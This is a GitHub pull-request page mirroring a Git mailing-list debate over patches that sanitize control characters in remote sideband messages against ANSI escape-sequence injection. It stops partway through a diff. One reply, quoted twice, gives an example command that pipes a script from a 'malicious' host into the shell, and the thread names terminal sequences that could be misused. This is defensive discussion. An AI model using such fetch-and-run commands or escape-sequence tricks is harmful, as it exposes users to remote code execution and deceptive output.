Sanitize sideband channel messages #1853
Open
Conversation
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Member
Author
|
/submit |
|
Submitted as pull.1853.git.1736878772.gitgitgadget@gmail.com To fetch this version into To fetch this version to local tag |
|
On the Git mailing list, "brian m. carlson" wrote (reply to this): On 2025-01-14 at 18:19:29, Johannes Schindelin via GitGitGadget wrote:
> When a clone fails, users naturally turn to the output of the git
> clone command. To assist in such scenarios, the output includes the messages
> from the remote git pack-objects process, delivered via what Git calls the
> "sideband channel."
>
> Given that the remote server is, by nature, remote, there is no guarantee
> that it runs an unmodified Git version. This exposes Git to ANSI escape
> sequence injection (see
> CWE-150, https://cwe.mitre.org/data/definitions/150.html), which can corrupt
> terminal state, hide information, and even insert characters into the input
> buffer (as if the user had typed those characters).
I could certainly be mistaken, but I believe the report feature (e.g.,
title report), which is disabled for security reasons on all major
terminal emulators, is the only feature that can be used to adjust the
input buffer. If there are others, then those would definitely be
vulnerability in the terminal emulator, which is the place they should be
fixed.
> This patch series addresses this vulnerability by sanitizing the sideband
> channel.
>
> It is important to note that the lack of sanitization in the sideband
> channel is already "exploited" by the Git user community, albeit in
> well-intentioned ways. For instance, certain server-side hooks use ANSI
> color sequences in error messages to make them more noticeable during
> intentional failed fetches, e.g. as seen at
> https://github.com/kikeonline/githook-explode and
> https://github.com/arosien/bart/blob/HEAD/hooks/post-receive.php
>
> To accommodate such use cases, Git will allow ANSI color sequences to pass
> through by default, while presenting all other ASCII control characters in a
> common form (e.g., presenting the ESC character as ^[).
>
> This vulnerability was reported to the Git security mailing list in early
> November, along with these fixes, as part of an iteration of the patches
> that led to the coordinated security release on Tuesday, January 14th, 2025.
I think there is some disagreement as to whether this constitutes a
vulnerability. I personally don't agree with that characterization, and
a CWE is a type of weakness, not a vulnerability.
Note that all of these problems could also occur by SSHing into an
untrusted server, running `curl` without redirecting output, or running
`cat` on a specially crafted file at the command line. It is
specifically expected that people use SSH to log into untrusted or
partially-trusted machines, so this is not just a thought exercise.
None of those cases would be addressed by this series.
> While Git for Windows included these fixes in v2.47.1(2), the consensus,
> apart from one reviewer, was not to include them in Git's embargoed
> versions. The risk was considered too high to disrupt existing scenarios
> that depend on control characters received via the sideband channel being
> sent verbatim to the user's terminal emulator.
>
> Several reviewers suggested advising terminal emulator writers about these
> "quality of implementation issues" instead. I was quite surprised by this
> approach, as it seems overly optimistic to assume that terminal emulators
> could distinguish between control characters intentionally sent by Git and
> those unintentionally relayed from the remote server.
I've done some analysis of this approach after discussion on the
security list and I don't think we should adopt it, as I mentioned
there.
Where pre-receive hooks are available, people frequently run various
commands to test and analyze code in them, including build or static
analysis tools, such as Rust's Cargo. Cargo is capable of printing a
wide variety of escape sequences in its output, including `\e[K`, which
overwrites text to the right (e.g., for progress bars and status output
much like Git produces), and sequences for hyperlinks. Stripping these
sequences would break the output in ways that would be confusing to the
user (since they work fine in a regular terminal) and hard to
reproduce or fix.
There are a variety of other terminal sequences that I have also seen
practically used here which would also be broken. Other sequences that
could usefully be sent (but I have not seen practically implemented)
include sixel codes (which are a type of image format) that could be
used to display QR codes for purposes such as tracking CI jobs or
providing a "receipt" of code pushed.
I agree that this would have been a nice feature to add at the beginning
of the development of the sideband feature, but I fear that it is too
late to make an incompatible change now.
I realize that you've provided an escape hatch, but as we've seen with
other defense-in-depth measures, that doesn't avoid the inconvenience
and hassle of dealing with those changes and the costs of deploying
fixes everywhere. We need to consider the costs and impact of these
patches on our users, including the burden of dealing with incompatible
changes, and given the fact that this problem can occur in a wide
variety of other contexts which you are not solving here and which would
be better solved more generally in terminal emulators themselves, I
don't think the benefits of this approach outweigh the downsides.
I do agree that there are terminal emulators which have some surprising
and probably insecure behaviour, as we've discussed in the past, but
because I believe those issues are more general and could be a problem
for any terminal-using program, I continue to believe that those issues
are best addressed in the terminal emulator itself.
--
brian m. carlson (they/them or he/him)
Toronto, Ontario, CA |
|
User |
![gitgitgadget[bot]](https://avatars.githubusercontent.com/in/12836?s=60&v=4){kind=small}
| int i; | ||
|
|
||
| for (i = 0; i < ARRAY_SIZE(keywords); i++) | ||
| list_config_item(list, prefix, keywords[i].keyword); |
There was a problem hiding this comment.
On the Git mailing list, Phillip Wood wrote (reply to this):
Hi Dscho
Just a couple of small comments
On 14/01/2025 18:19, Johannes Schindelin via GitGitGadget wrote:
> From: Johannes Schindelin <johannes.schindelin@gmx.de>
> > +static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)
> +{
> + strbuf_grow(dest, n);
> + for (; n && *src; src++, n--) {
> + if (!iscntrl(*src) || *src == '\t' || *src == '\n')
Isn't it a bug to pass '\n' to maybe_colorize_sideband() ?
> + strbuf_addch(dest, *src);
> + else {
> + strbuf_addch(dest, '^');
> + strbuf_addch(dest, 0x40 + *src);
This will escape DEL ('\x7f') as "^\xbf" which is invalid in utf-8 locales. Perhaps we could use "^?" for that instead.
> +test_expect_success 'disallow (color) control sequences in sideband' '
> + write_script .git/color-me-surprised <<-\EOF &&
> + printf "error: Have you \\033[31mread\\033[m this?\\n" >&2
> + exec "$@"
> + EOF
> + test_config_global uploadPack.packObjectshook ./color-me-surprised &&
> + test_commit need-at-least-one-commit &&
> + git clone --no-local . throw-away 2>stderr &&
> + test_decode_color <stderr >decoded &&
> + test_grep ! RED decoded
I'd be happier if we used test_cmp() here so that we check that the sanitized version matches what we expect and the test does not pass if there a typo in the script above stops it from writing the SGR code for red.
Best Wishes
Phillip
There was a problem hiding this comment.
On the Git mailing list, Johannes Schindelin wrote (reply to this):
Hi Phillip,
On Wed, 15 Jan 2025, Phillip Wood wrote:
> Just a couple of small comments
>
> On 14/01/2025 18:19, Johannes Schindelin via GitGitGadget wrote:
> > From: Johannes Schindelin <johannes.schindelin@gmx.de>
> >
> > +static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int
> > n)
> > +{
> > + strbuf_grow(dest, n);
> > + for (; n && *src; src++, n--) {
> > + if (!iscntrl(*src) || *src == '\t' || *src == '\n')
>
> Isn't it a bug to pass '\n' to maybe_colorize_sideband() ?
While a band 2 message is indeed split by newlines and fed to this
function line by line, which is the case for a long time already: since
ed1902ef5c6 (cope with multiple line breaks within sideband progress
messages, 2007-10-16), the same is not true for band 3 messages: They pass
the entire message in one go (and for multi-line payload, only the first
line is prefixed with `remote:`, which is arguably a bug, but not one that
is within this here patch series' scope).
See
https://gitlab.com/git-scm/git/-/blob/v2.52.0/sideband.c#L191 and
https://gitlab.com/git-scm/git/-/blob/v2.52.0/sideband.c#L176,
respectively.
So no, I don't think that we can currently consider it a bug to pass `\n`
as part of the `src` parameter to `maybe_colorize_sideband()`.
> > + strbuf_addch(dest, *src);
> > + else {
> > + strbuf_addch(dest, '^');
> > + strbuf_addch(dest, 0x40 + *src);
>
> This will escape DEL ('\x7f') as "^\xbf" which is invalid in utf-8 locales.
> Perhaps we could use "^?" for that instead.
Good point! This seems to be the historical way to escape DEL, probably
because 0x3f ('?') is 0x7f + 0x40 truncated to 7 bits. I'll do this in the
next iteration:
-- snip --
diff --git a/sideband.c b/sideband.c
index f613d4d6cc3..684621579fd 100644
--- a/sideband.c
+++ b/sideband.c
@@ -175,7 +175,7 @@ static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)
n -= i;
} else {
strbuf_addch(dest, '^');
- strbuf_addch(dest, 0x40 + *src);
+ strbuf_addch(dest, *src == 0x7f ? '?' : 0x40 + *src);
}
}
}
-- snap --
>
> > +test_expect_success 'disallow (color) control sequences in sideband' '
> > + write_script .git/color-me-surprised <<-\EOF &&
> > + printf "error: Have you \\033[31mread\\033[m this?\\n" >&2
> > + exec "$@"
> > + EOF
> > + test_config_global uploadPack.packObjectshook ./color-me-surprised &&
> > + test_commit need-at-least-one-commit &&
> > + git clone --no-local . throw-away 2>stderr &&
> > + test_decode_color <stderr >decoded &&
> > + test_grep ! RED decoded
>
> I'd be happier if we used test_cmp() here so that we check that the sanitized
> version matches what we expect and the test does not pass if there a typo in
> the script above stops it from writing the SGR code for red.
I often debug test failures in Git's test suite and one of the most
annoying category of test failures is when test cases expect byte-wise
exact Git output that changed for totally legitimate reasons [*1*].
Even worse: In many of those instances, the _intent_ of the check is not
even clear from that `test_cmp` and has to be reconstructed, a boring,
tedious task with little benefit to show for the effort.
I much prefer tests like this one, where a precise `test_grep` states
exactly what it expects to be present, or missing. The intent of such a
command is much clearer than that of `test_cmp expect actual`.
So, much as I appreciate your suggestion, I would prefer to keep the code
as-is.
Ciao,
Johannes
Footnote *1*: This really is not hypothetical. I had to battle quite a bit
with unstable compression sizes that are part of a `test_cmp` comparison,
https://github.com/git-for-windows/git/pull/5926#issuecomment-3486556940
shows a bit of the problems but is very shy about providing the specific
number of days I spent on addressing this issue. In hindsight, I should
have spent at most two hours on converting that from a byte-wise
comparison to a qualitative comparison.
|
User |
|
On the Git mailing list, Phillip Wood wrote (reply to this): Hi Dscho
On 14/01/2025 18:19, Johannes Schindelin via GitGitGadget wrote:
> When a clone fails, users naturally turn to the output of the git
> clone command. To assist in such scenarios, the output includes the messages
> from the remote git pack-objects process, delivered via what Git calls the
> "sideband channel."
> > Given that the remote server is, by nature, remote, there is no guarantee
> that it runs an unmodified Git version. This exposes Git to ANSI escape
> sequence injection (see
> CWE-150, https://cwe.mitre.org/data/definitions/150.html), which can corrupt
> terminal state, hide information,
I agree we should think about preventing an untrusted remote process from making it look like its messages come from the trusted local process. At best it is confusing and at worst it might trick a user into running a malicious command if they think the message came from the local git process. We need to be careful not to break existing legitimate output though. Brian has already highlighted the need to support '\e[K' (clear to the end of the current line), we may also want to treat '\e[G' (move to column 1 on the current line) as '\r' in addition to SGR escapes in the last patch.
> and even insert characters into the input
> buffer (as if the user had typed those characters).
Maybe I've missed something but my understanding from the link above is that this is a non-issue for terminal emulators released in the last 20 years. In any case I think that that is a security bug in the emulator and should be fixed there as it has been in the past. I found [1] to be much more informative than the mitre link above about the actual vulnerabilities.
Best Wishes
Phillip
[1] https://marc.info/?l=bugtraq&m=104612710031920
> This patch series addresses this vulnerability by sanitizing the sideband
> channel.
> > It is important to note that the lack of sanitization in the sideband
> channel is already "exploited" by the Git user community, albeit in
> well-intentioned ways. For instance, certain server-side hooks use ANSI
> color sequences in error messages to make them more noticeable during
> intentional failed fetches, e.g. as seen at
> https://github.com/kikeonline/githook-explode and
> https://github.com/arosien/bart/blob/HEAD/hooks/post-receive.php
> > To accommodate such use cases, Git will allow ANSI color sequences to pass
> through by default, while presenting all other ASCII control characters in a
> common form (e.g., presenting the ESC character as ^[).
> > This vulnerability was reported to the Git security mailing list in early
> November, along with these fixes, as part of an iteration of the patches
> that led to the coordinated security release on Tuesday, January 14th, 2025.
> > While Git for Windows included these fixes in v2.47.1(2), the consensus,
> apart from one reviewer, was not to include them in Git's embargoed
> versions. The risk was considered too high to disrupt existing scenarios
> that depend on control characters received via the sideband channel being
> sent verbatim to the user's terminal emulator.
> > Several reviewers suggested advising terminal emulator writers about these
> "quality of implementation issues" instead. I was quite surprised by this
> approach, as it seems overly optimistic to assume that terminal emulators
> could distinguish between control characters intentionally sent by Git and
> those unintentionally relayed from the remote server.
> > Please note that this patch series applies cleanly on top of v2.47.2. To
> apply it cleanly on top of v2.40.4 (the oldest of the most recently serviced
> security releases), the calls to test_grep need to be replaced with calls
> to test_i18ngrep, and the calls to git_config_get_string_tmp() need to be
> replaced with calls to git_config_get_string().
> > Johannes Schindelin (3):
> sideband: mask control characters
> sideband: introduce an "escape hatch" to allow control characters
> sideband: do allow ANSI color sequences by default
> > Documentation/config.txt | 2 +
> Documentation/config/sideband.txt | 16 ++++++
> sideband.c | 78 ++++++++++++++++++++++++++++-
> t/t5409-colorize-remote-messages.sh | 30 +++++++++++
> 4 files changed, 124 insertions(+), 2 deletions(-)
> create mode 100644 Documentation/config/sideband.txt
> > > base-commit: e1fbebe347426ef7974dc2198f8a277b7c31c8fe
> Published-As: https://github.com/gitgitgadget/git/releases/tag/pr-1853%2Fdscho%2Fsanitize-sideband-v1
> Fetch-It-Via: git fetch https://github.com/gitgitgadget/git pr-1853/dscho/sanitize-sideband-v1
> Pull-Request: https://github.com/gitgitgadget/git/pull/1853
|
| int i; | ||
|
|
||
| for (i = 0; i < ARRAY_SIZE(keywords); i++) | ||
| list_config_item(list, prefix, keywords[i].keyword); |
There was a problem hiding this comment.
On the Git mailing list, Andreas Schwab wrote (reply to this):
On Jan 14 2025, Johannes Schindelin via GitGitGadget wrote:
> diff --git a/sideband.c b/sideband.c
> index 02805573fab..c0b1cb044a3 100644
> --- a/sideband.c
> +++ b/sideband.c
> @@ -65,6 +65,19 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref
> list_config_item(list, prefix, keywords[i].keyword);
> }
>
> +static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)
> +{
> + strbuf_grow(dest, n);
> + for (; n && *src; src++, n--) {
> + if (!iscntrl(*src) || *src == '\t' || *src == '\n')
The argument of iscntrl needs to be converted to unsigned char.
--
Andreas Schwab, schwab@linux-m68k.org
GPG Key fingerprint = 7578 EB47 D4E5 4D69 2510 2552 DF73 E780 A9DA AEC1
"And now for something completely different."There was a problem hiding this comment.
On the Git mailing list, Junio C Hamano wrote (reply to this):
Andreas Schwab <schwab@linux-m68k.org> writes:
> On Jan 14 2025, Johannes Schindelin via GitGitGadget wrote:
>
>> diff --git a/sideband.c b/sideband.c
>> index 02805573fab..c0b1cb044a3 100644
>> --- a/sideband.c
>> +++ b/sideband.c
>> @@ -65,6 +65,19 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref
>> list_config_item(list, prefix, keywords[i].keyword);
>> }
>>
>> +static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)
>> +{
>> + strbuf_grow(dest, n);
>> + for (; n && *src; src++, n--) {
>> + if (!iscntrl(*src) || *src == '\t' || *src == '\n')
>
> The argument of iscntrl needs to be converted to unsigned char.
If this were system-provided one, you are absolutely correct.
But I think this comes from
sane-ctype.h:15:#undef iscntrl
sane-ctype.h:40:#define iscntrl(x) (sane_istest(x,GIT_CNTRL))
and sane_istest() does the casting to uchar for us, so this may be
OK (even if it may be a bit misleading).
|
User |
|
On the Git mailing list, Junio C Hamano wrote (reply to this): "brian m. carlson" <sandals@crustytoothpaste.net> writes:
> Where pre-receive hooks are available, people frequently run various
> commands to test and analyze code in them, including build or static
> analysis tools, such as Rust's Cargo. Cargo is capable of printing a
> wide variety of escape sequences in its output, including `\e[K`, which
> overwrites text to the right (e.g., for progress bars and status output
> much like Git produces), and sequences for hyperlinks. Stripping these
> sequences would break the output in ways that would be confusing to the
> user (since they work fine in a regular terminal) and hard to
> reproduce or fix.
You have ruled out the attack vector that lets bytestream sent to
the terminal emulator to somehow cause arbitrary input bytes added
(which may require the final <ENTER> from the user but that is not
much of consolation), and I tend to agree with you on that point.
With that misfeature out of the picture, I am not sure why terminal
escape sequences that may clear or write-over things on the screen
are of particular interest. If the malicious remote end says
something like
To proceed, open another window and type this command:
$ curl https://my.malicious.xz/install.sh | sh
to its output, even if the message is shown with the "remote: "
prefix on the receiving local client, wouldn't that cause certain
percentage of end-user population to copy-and-paste that command
anyway?
> I agree that this would have been a nice feature to add at the beginning
> of the development of the sideband feature, but I fear that it is too
> late to make an incompatible change now.
So I am not so sure even it would have been a "nice feature" to disallow
sideband messages to carry terminal escape sequences to begin with.
> I realize that you've provided an escape hatch, but as we've seen with
> other defense-in-depth measures, that doesn't avoid the inconvenience
> and hassle of dealing with those changes and the costs of deploying
> fixes everywhere.
One more thing that I am not so happy about these "escape hatches"
is that they tend to be all or nothing (not limited to this round,
but common to other defense-in-depth attempts). Having to say "I
trust them completely" is something that would make people uneasy.
> We need to consider the costs and impact of these
> patches on our users, including the burden of dealing with incompatible
> changes, and given the fact that this problem can occur in a wide
> variety of other contexts which you are not solving here and which would
> be better solved more generally in terminal emulators themselves, I
> don't think the benefits of this approach outweigh the downsides.
>
> I do agree that there are terminal emulators which have some surprising
> and probably insecure behaviour, as we've discussed in the past, but
> because I believe those issues are more general and could be a problem
> for any terminal-using program, I continue to believe that those issues
> are best addressed in the terminal emulator itself. |
dscho
referenced
this pull request
in git-for-windows/git
Jan 20, 2025
The output of `git clone` is a vital component for understanding what has happened when things go wrong. However, these logs are partially under the control of the remote server (via the "sideband", which typically contains what the remote `git pack-objects` process sends to `stderr`), and is currently not sanitized by Git. This makes Git susceptible to ANSI escape sequence injection (see CWE-150, https://cwe.mitre.org/data/definitions/150.html), which allows attackers to corrupt terminal state, to hide information, and even to insert characters into the input buffer (i.e. as if the user had typed those characters). To plug this vulnerability, disallow any control character in the sideband, replacing them instead with the common `^<letter/symbol>` (e.g. `^[` for `\x1b`, `^A` for `\x01`). There is likely a need for more fine-grained controls instead of using a "heavy hammer" like this, which will be introduced subsequently. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
|
On the Git mailing list, Ondrej Pohorelsky wrote (reply to this): Hi,
I see that CVE-2024-52005 [0] has been assigned to this issue. From
the discussion, it seems the fix may not be shipped in the near
future, if at all.
Could you please confirm if I understand this correctly? Specifically,
that this is not being treated as a vulnerability and that the
proposed fix might introduce regressions for certain use cases?
We are bound by SLAs and need to decide soon whether to provide fixed
versions of Git in RHEL. Having clarity on the upstream stance would
be very helpful for our decision. Right now, we are inclined not to
ship these fixes unless they are accepted upstream.
[0] https://github.com/git/git/security/advisories/GHSA-7jjc-gg6m-3329
Best regards,
Ondřej Pohořelský
On Thu, Jan 16, 2025 at 7:47 AM Junio C Hamano <gitster@pobox.com> wrote:
>
> "brian m. carlson" <sandals@crustytoothpaste.net> writes:
>
> > Where pre-receive hooks are available, people frequently run various
> > commands to test and analyze code in them, including build or static
> > analysis tools, such as Rust's Cargo. Cargo is capable of printing a
> > wide variety of escape sequences in its output, including `\e[K`, which
> > overwrites text to the right (e.g., for progress bars and status output
> > much like Git produces), and sequences for hyperlinks. Stripping these
> > sequences would break the output in ways that would be confusing to the
> > user (since they work fine in a regular terminal) and hard to
> > reproduce or fix.
>
> You have ruled out the attack vector that lets bytestream sent to
> the terminal emulator to somehow cause arbitrary input bytes added
> (which may require the final <ENTER> from the user but that is not
> much of consolation), and I tend to agree with you on that point.
>
> With that misfeature out of the picture, I am not sure why terminal
> escape sequences that may clear or write-over things on the screen
> are of particular interest. If the malicious remote end says
> something like
>
> To proceed, open another window and type this command:
>
> $ curl https://my.malicious.xz/install.sh | sh
>
> to its output, even if the message is shown with the "remote: "
> prefix on the receiving local client, wouldn't that cause certain
> percentage of end-user population to copy-and-paste that command
> anyway?
>
> > I agree that this would have been a nice feature to add at the beginning
> > of the development of the sideband feature, but I fear that it is too
> > late to make an incompatible change now.
>
> So I am not so sure even it would have been a "nice feature" to disallow
> sideband messages to carry terminal escape sequences to begin with.
>
> > I realize that you've provided an escape hatch, but as we've seen with
> > other defense-in-depth measures, that doesn't avoid the inconvenience
> > and hassle of dealing with those changes and the costs of deploying
> > fixes everywhere.
>
> One more thing that I am not so happy about these "escape hatches"
> is that they tend to be all or nothing (not limited to this round,
> but common to other defense-in-depth attempts). Having to say "I
> trust them completely" is something that would make people uneasy.
>
> > We need to consider the costs and impact of these
> > patches on our users, including the burden of dealing with incompatible
> > changes, and given the fact that this problem can occur in a wide
> > variety of other contexts which you are not solving here and which would
> > be better solved more generally in terminal emulators themselves, I
> > don't think the benefits of this approach outweigh the downsides.
> >
> > I do agree that there are terminal emulators which have some surprising
> > and probably insecure behaviour, as we've discussed in the past, but
> > because I believe those issues are more general and could be a problem
> > for any terminal-using program, I continue to believe that those issues
> > are best addressed in the terminal emulator itself.
>
--
Ondřej Pohořelský
Software Engineer
Red Hat
opohorel@redhat.com
|
|
User |
|
On the Git mailing list, Junio C Hamano wrote (reply to this): Ondrej Pohorelsky <opohorel@redhat.com> writes:
> From
> the discussion, it seems the fix may not be shipped in the near
> future, if at all.
A patchset was sent, one person assessed that it is not solving the
right problem and introduces regressions, another person agreed.
It is not quite a discussion (yet) and I think there could be more
convincing argument for accepting regressions made, so I personally
feel that it is too early to call it settled yet, but without seeing
any further counter-arguments, I agree with you that things seem
that way.
Thanks. |
|
On the Git mailing list, Johannes Schindelin wrote (reply to this): Hi Junio,
On Wed, 15 Jan 2025, Junio C Hamano wrote:
> "brian m. carlson" <sandals@crustytoothpaste.net> writes:
>
> > Where pre-receive hooks are available, people frequently run various
> > commands to test and analyze code in them, including build or static
> > analysis tools, such as Rust's Cargo. Cargo is capable of printing a
> > wide variety of escape sequences in its output, including `\e[K`, which
> > overwrites text to the right (e.g., for progress bars and status output
> > much like Git produces), and sequences for hyperlinks. Stripping these
> > sequences would break the output in ways that would be confusing to the
> > user (since they work fine in a regular terminal) and hard to
> > reproduce or fix.
>
> You have ruled out the attack vector that lets bytestream sent to
> the terminal emulator to somehow cause arbitrary input bytes added
> (which may require the final <ENTER> from the user but that is not
> much of consolation), and I tend to agree with you on that point.
So you haven't come across `OSC P 1 0 ; ? ST` (see e.g.
https://www.xfree86.org/current/ctlseqs.html#:~:text=OSC%20P%20s%20;%20P%20t%20ST
for this control sequence, as well as others that elicit responses from
terminal emulators, from current cursor position to terminal
capabilities)? I use this Escape sequence myself in my `tmux` sessions to
toggle the colors between bright-on-dark and dark-on-bright.
It is true that many terminal emulators started disabling support for such
Escape sequences. But that's not because the terminal emulators' features
were buggy. That's because some console programs are buggy, allowing
payload originating from outside the user's trust boundary to be passed
through to the terminal without proper sanitizing. That's what the entire
CWE-150 weakness class (https://cwe.mitre.org/data/definitions/150.html)
is all about.
And yes, it's the console programs that are buggy, not the terminal
emulators. It has always been the contract between terminal emulators and
software using those terminal emulators' features that the bytes that are
sent to the terminal emulator can do amazing stuff via control sequences
(that's the terminal emulators' promise) and the responsibility of the
software sending those bytes, in turn, is to make sure that it only sends
control characters intentionally and does not nilly-willy pass through
untrusted data from random outside sources.
That's the reason why even `tar` sanitizes its output, see
https://www.gnu.org/software/tar/manual/html_node/quoting-styles.html. Or
for that matter, cURL, see https://github.com/curl/curl/pull/1512 where
Escape sequences were part of the rationale.
While `mutt` might not sanitize the Escape sequences in the emails it
displays, it does something even better: It implements its own terminal
emulator that interprets only a very limited set of ANSI Escape sequences.
But since it uses ANSI Escape sequences to render the output, so in a very
convoluted way it _does_ sanitize Escape sequences.
Basically, all console programs interacting with terminal emulators are
careful about sanitizing untrusted payload before sending it to be
rendered.
In short, in this context it is clearly Git's responsibility to ensure
that control sequences do not originate from some stranger's server on the
internet and then are naively passed through to the terminal emulator
without the user's blessing. Git uses coloring sequences, after all, so it
benefits from the contract with the terminal emulator, and it must uphold
its end of the bargain, too.
Git also does an okay job of avoiding those color sequences when its
output does not even go to a terminal emulator, or when the `TERM`
environment variable indicates that the terminal emulator lacks
the prerequisite capabilities. (To do a better job, it would have to
query the terminal's capabilities, a job better left to libraries like
ncurses).
That check, whether the output is even sent to a terminal emulator or not,
is notably something that cannot ever be done by those `pre-receive` hooks
that were held up as examples to block this here patch series: They have
no way of knowing whether or not their output goes to a terminal, but they
send the control sequences anyway. Because YOLO, I guess. In that
respect, I think that even you two would agree that those `pre-receive`
hooks are broken by design.
> With that misfeature out of the picture, I am not sure why terminal
> escape sequences that may clear or write-over things on the screen
> are of particular interest.
It is important for attackers to try to hide any traces that might alert
their victims that they are being attacked. One fine way to do that is to
hide the output that would otherwise scream "You are under attack!" to the
user. Writing over such tell-tales, or erasing them altogether, is the
perfect tool for the job. As such, they are clearly of particular interest
in this context.
Sure, it is conceivable that there might be use cases where it _is_
desirable that certain text is first written and then overwritten by the
remote side. But the fact remains that it forcibly keeps open the door to
deceive the user into believing that they see something that they do not
actually see.
For example, Git goes out of its way to write out sideband messages only
with the `remote:` prefix. This is a very clear indicator that these
messages do not come from the local Git process, and users are very likely
to be extremely suspicious if they are prompted for some interactive input
in such a message. Allow the remote server to overwrite that prefix, and
you take away that indicator.
Besides, there are correct ways to send colored, or otherwise styled, text
to the user from the remote side: The remote side does not have the
ability to ask whether the output goes to a terminal, but the local Git
process does! The logic of color-coding the `error` and `warning` and
friends that was added in bf1a11f0a10 (sideband: highlight keywords in
remote sideband output, 2018-08-07) is a perfect example how this should
be done: The client side, the one with access to the terminal emulator,
decides what is permissible styling, and the remote side crafts its output
accordingly. No verbatim pass-through of control sequences, no
vulnerability, instant win. Well, not so instant, you first have to get
the patch on Git's side accepted, but that's par for the course.
Now, the capacities of modern terminal emulators are a far cry from what
they had been in the VT-100 times. As in: They have become drastically
more powerful. As illustrated at the beginning of my reply, there exist
powerful features to query information about the current terminal. Not all
of them are exploitable for malicious purposes on first sight. The crucial
part is: on first sight.
Also, it is relatively easy if you fail to protect your terminal emulator
to have your entire session messed up to a point where not even a `reset`
restores it. And corrupting the terminal session is still much better than
getting pranked by having all of Git's output be overwritten with a
picture of a snake (download the raw version of
https://github.com/csdvrx/sixel-testsuite/blob/master/snake.six -- after!
verifying that it is just a regular text file containing only a few
harmless escape sequences~ -- and then `cat` it to your terminal). That
could have been goatse, too, though. Or for that matter (as
https://github.com/mpv-player/mpv demonstrates, which allows you to render
entire Youtube videos in your current terminal window) you could be
Rick-rolled. And all of those are still pranks more than anything. Much
worse can be done with those terminal emulator capabilities.
> If the malicious remote end says something like
>
> To proceed, open another window and type this command:
>
> $ curl https://my.malicious.xz/install.sh | sh
>
> to its output, even if the message is shown with the "remote: "
> prefix on the receiving local client, wouldn't that cause certain
> percentage of end-user population to copy-and-paste that command
> anyway?
Sure, and there is no defending against users who voluntarily follow such
instructions without applying some healthy skepticism first. Not in Git,
anyways.
The kind of control illustrated above, however, can of course also be used
to pretend that _Git_ asks interactively for some input, using the exact
look&feel of Git's usual interactive prompts. And presented with something
like that, I would wager a bet that even you could fall for an elaborate
ruse, if I were a betting person. If I were still a student, with too much
time on my hands, I'd even try to prank you that way, purely for fun.
For the record, I was almost successfully gas-lit into believing that this
here issue is not even a vulnerability, as was claimed by some (but not
all) involved in the discussion on the Git security list. Fortunately I am
in a wonderful position that I have access to outstanding security
researchers, and I asked two of them, independently, to tell me whether or
not this is a vulnerability that needs to be fixed. Independently, both
agreed that my assessment "High" was too high, and it should have been
"Moderate" instead. At the same time, they also both agreed that it is a
vulnerability that should be fixed in Git.
I did hear that Google employs some excellent security professionals, too.
While I cannot ask them directly, I would be quite curious what they would
have to say about this issue. Maybe you could contact one or two?
Ciao,
Johannes
>
> > I agree that this would have been a nice feature to add at the beginning
> > of the development of the sideband feature, but I fear that it is too
> > late to make an incompatible change now.
>
> So I am not so sure even it would have been a "nice feature" to disallow
> sideband messages to carry terminal escape sequences to begin with.
>
> > I realize that you've provided an escape hatch, but as we've seen with
> > other defense-in-depth measures, that doesn't avoid the inconvenience
> > and hassle of dealing with those changes and the costs of deploying
> > fixes everywhere.
>
> One more thing that I am not so happy about these "escape hatches"
> is that they tend to be all or nothing (not limited to this round,
> but common to other defense-in-depth attempts). Having to say "I
> trust them completely" is something that would make people uneasy.
>
> > We need to consider the costs and impact of these
> > patches on our users, including the burden of dealing with incompatible
> > changes, and given the fact that this problem can occur in a wide
> > variety of other contexts which you are not solving here and which would
> > be better solved more generally in terminal emulators themselves, I
> > don't think the benefits of this approach outweigh the downsides.
> >
> > I do agree that there are terminal emulators which have some surprising
> > and probably insecure behaviour, as we've discussed in the past, but
> > because I believe those issues are more general and could be a problem
> > for any terminal-using program, I continue to believe that those issues
> > are best addressed in the terminal emulator itself.
>
> |
|
On the Git mailing list, Johannes Schindelin wrote (reply to this): Hi Phillip,
On Wed, 15 Jan 2025, Phillip Wood wrote:
> On 14/01/2025 18:19, Johannes Schindelin via GitGitGadget wrote:
> > When a clone fails, users naturally turn to the output of the git
> > clone command. To assist in such scenarios, the output includes the messages
> > from the remote git pack-objects process, delivered via what Git calls the
> > "sideband channel."
> >
> > Given that the remote server is, by nature, remote, there is no guarantee
> > that it runs an unmodified Git version. This exposes Git to ANSI escape
> > sequence injection (see
> > CWE-150, https://cwe.mitre.org/data/definitions/150.html), which can corrupt
> > terminal state, hide information,
>
> I agree we should think about preventing an untrusted remote process from
> making it look like its messages come from the trusted local process. At best
> it is confusing and at worst it might trick a user into running a malicious
> command if they think the message came from the local git process.
It's actually much worse. With the right approach, you could trick a user
to think that they interact with Git, when in reality they are executing a
command instead.
> We need to be careful not to break existing legitimate output though.
Well, given that that "legitimate output" sends control sequences, whether
the output goes to a terminal window or to a pipe to be parsed by an
application, I don't think that it is _all_ that legitimate.
But then, I don't know why some people keep harping about this when the
patch series as-is already passes those color sequences through by
default?
> Brian has already highlighted the need to support '\e[K' (clear to the
> end of the current line), we may also want to treat '\e[G' (move to
> column 1 on the current line) as '\r' in addition to SGR escapes in the
> last patch.
Consider this: One of the most effective ways to fool a victim is to hide
suspicious information from them. In that respect, it is undesirable to
pass through those sequences that would allow just that.
Besides, color me surprised that this is even necessary? What use case
could there be to erase to the end of the line from a remote process, when
that process' output is supposed to be text that arrives word by word,
line by line, no backsies? What use case would be there to send a Carriage
Return other than to hide the `remote:` prefix?
I did play with the idea of optionally passing through those two
sequences, though, and came up with this patch (don't worry if it does not
apply on top of v1 of this here patch series, my local branch is currently
a bit in flux):
-- snip --
diff --git a/sideband.c b/sideband.c
index 0025b51b4e1..f613d4d6cc3 100644
--- a/sideband.c
+++ b/sideband.c
@@ -28,9 +28,42 @@ static struct keyword_entry keywords[] = {
static enum {
ALLOW_NO_CONTROL_CHARACTERS = 0,
ALLOW_ANSI_COLOR_SEQUENCES = 1<<0,
- ALLOW_DEFAULT_ANSI_SEQUENCES = ALLOW_ANSI_COLOR_SEQUENCES,
- ALLOW_ALL_CONTROL_CHARACTERS = 1<<1,
